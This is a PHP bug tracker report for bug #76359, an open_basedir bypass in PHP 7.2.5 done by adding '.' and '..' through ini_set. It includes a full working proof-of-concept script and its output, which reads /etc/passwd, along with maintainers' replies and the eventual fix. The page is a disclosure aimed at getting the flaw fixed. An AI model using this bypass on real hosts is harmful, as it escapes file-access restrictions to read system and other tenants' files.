php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #76359 open_basedir bypass through adding ".."
Submitted: 2018-05-20 19:02 UTC Modified: 2021-05-21 10:50 UTC
From: buglloc at yandex dot ru Assigned: cmb (profile)
Status: Closed Package: Safe Mode/open_basedir
PHP Version: 7.2.5 OS: GNU/Linux
Private report: No CVE-ID: None
 [2018-05-20 19:02 UTC] buglloc at yandex dot ru
Description:
------------
open_basedir can by bypassed with two preconditions:
  - allowed ini_set function (almost always allowed)
  - have writable dir in any of open_basedir paths

Look at the test script, I hope it does the following:
   - creates a folder in one of the allowed open_basedirs
   - moved into it
   - adds "." and ".." into the "open_basedir", because this is allowed (".." and "." are within the allowed directories)
   - goes to the root, because ".." in the "open_basedir"
   - sets "open_basedir" to "/", because "." in the "open_basedir"

Let's test it:
$ php -v
PHP 7.2.5 (cli) (built: May 10 2018 20:21:23) ( NTS )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.2.0, Copyright (c) 1998-2018 Zend Technologies

$ php -d 'open_basedir=/tmp/' -f poc.php
PHP Warning:  file_get_contents(): open_basedir restriction in effect. File(/etc/passwd) is not within the allowed path(s): (/tmp/) in /tmp/poc.php on line 12
PHP Warning:  file_get_contents(/etc/passwd): failed to open stream: Operation not permitted in /tmp/poc.php on line 12
try to read /etc/passwd: false
original open_basedir: '/tmp/'
PHP Warning:  mkdir(): File exists in /tmp/poc.php on line 31
create subdir /tmp/test123: false
cwd into /tmp/test123: true
add "." and ".." into open_basedir setting: '/tmp/'
cd ..: true
current cwd: '/tmp'
cd ..: true
current cwd: '/'
set "/" as allowed open_basedir: '/tmp/:.:..'
try to read /etc/passwd: 'root:x:0:0::/root:/bin/bash
daemon:x:2:2::/:/sbin/nologin
mail:x:12:12::/var/spool/mail:/sbin/nologin
systemd-journal-remote:x:981:981:systemd Journal Remote:/:/sbin/nologin
uuidd:x:68:68::/:/sbin/nologin
systemd-resolve:x:980:980:systemd Resolver:/:/sbin/nologin
http:x:33:33::/srv/http:/sbin/nologin
systemd-network:x:979:979:systemd Network Management:/:/sbin/nologin
systemd-coredump:x:982:982:systemd Core Dumper:/:/sbin/nologin
dbus:x:81:81:System Message Bus:/:/sbin/nologin
nobody:x:65534:65534:Nobody:/:/sbin/nologin
ftp:x:14:11::/srv/ftp:/sbin/nologin
bin:x:1:1::/:/sbin/nologin
buglloc:x:1000:1000::/home/buglloc:/bin/zsh
git:x:978:978:git daemon user:/:/usr/bin/git-shell
avahi:x:977:977:Avahi mDNS/DNS-SD daemon:/:/sbin/nologin
colord:x:976:976:Color management daemon:/var/lib/colord:/sbin/nologin
polkitd:x:102:102:PolicyKit daemon:/:/sbin/nologin
usbmux:x:140:140:usbmux user:/:/sbin/nologin
dnsmasq:x:973:973:dnsmasq daemon:/:/sbin/nologin
ntp:x:87:87:Network Time Protocol:/var/lib/ntp:/bin/false
rtkit:x:133:133:RealtimeKit:/proc:/sbin/nologin
'


Test script:
---------------
<?php

function step($desc, $result = null) {
    if ($result !== null) {
        $r = var_export($result, true);
        echo "${desc}: ${r}\n";
    } else {
        echo "${desc}\n";
    }
}

step('try to read /etc/passwd', file_get_contents('/etc/passwd'));

$origBasedir = ini_get('open_basedir');
step('original open_basedir', $origBasedir);

$targetDir = '';
foreach (explode(':', $origBasedir) as $path) {
    $path = realpath($path);
    if (is_writable($path)) {
        $targetDir = $path;
        break;
    }
}

if (!$targetDir) {
    die('failed to get a writable directory in the list of allowed basedirs');
}

$subdir = $targetDir.'/test123';
step("create subdir ${subdir}", mkdir($subdir));
step("cwd into ${subdir}", chdir($subdir));
step('add "." and ".." into open_basedir setting', ini_set('open_basedir', "${origBasedir}:.:.."));
while (getcwd() !== '/') {
    step('cd ..', chdir('..'));
    step('current cwd', getcwd());
}

step('set "/" as allowed open_basedir', ini_set('open_basedir', '/'));
step('try to read /etc/passwd', file_get_contents('/etc/passwd'));


Expected result:
----------------
Settings ".." or "." into open_basedir must be prohibited

Actual result:
--------------
We easily can bypass open_basedir restriction and read "/etc/passwd" (or any other) file

Patches

Add a Patch

Pull Requests

Pull requests:

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2018-05-20 21:08 UTC] rasmus@php.net
-Status: Open +Status: Analyzed
 [2018-05-20 21:08 UTC] rasmus@php.net
You left out the 3rd and most important pre-condition there. That the attacker can write arbitrary PHP code and execute it. With that condition it is game over.

open_basedir isn't meant to protect the system from a local user. open_basedir is meant to protect an application from accessing directories it was not written to access. In your case you are writing an application explicitly to circumvent open_basedir which is well outside its scope.

Having said that, I can't see any reason to ever allow adding ".." to open_basedir at runtime which is an easy fix.
 [2021-05-21 10:10 UTC] cmb@php.net
-Type: Security +Type: Bug -Assigned To: +Assigned To: cmb
 [2021-05-21 10:10 UTC] cmb@php.net
Indeed, this is not a security issue according to our
classification[1].

[1] <https://wiki.php.net/security>
 [2021-05-21 10:17 UTC] rtrtrtrtrt at dfdfdfdf dot dfd
> open_basedir isn't meant to protect the system from a local user. 
> open_basedir is meant to protect an application from accessing 
> directories it was not written to access

this is wrong!

the purpose of open_basedir is that customer A can't write/access to webspace from customer B and please don't come up with containers
 [2021-05-21 10:50 UTC] cmb@php.net
> the purpose of open_basedir is that customer A can't
> write/access to webspace from customer B

Nope.

BTW, I liked it more when you used the self-describing mail
address *spam* AT rhsoft DOT net.
 [2021-05-21 10:51 UTC] cmb@php.net
The following pull request has been associated:

Patch Name: Fix #76359: open_basedir bypass through adding ".."
On GitHub:  https://github.com/php/php-src/pull/7024
Patch:      https://github.com/php/php-src/pull/7024.patch
 [2021-05-25 11:48 UTC] git@php.net
Automatic comment on behalf of cmb69
Revision: https://github.com/php/php-src/commit/ee9e07541f9f07762e3ee781102eea3a4190787c
Log: Fix #76359: open_basedir bypass through adding &quot;..&quot;
 [2021-05-25 11:48 UTC] git@php.net
-Status: Analyzed +Status: Closed
 
PHP Copyright © 2001-2021 The PHP Group
All rights reserved.
Last updated: Sun Sep 19 19:03:37 2021 UTC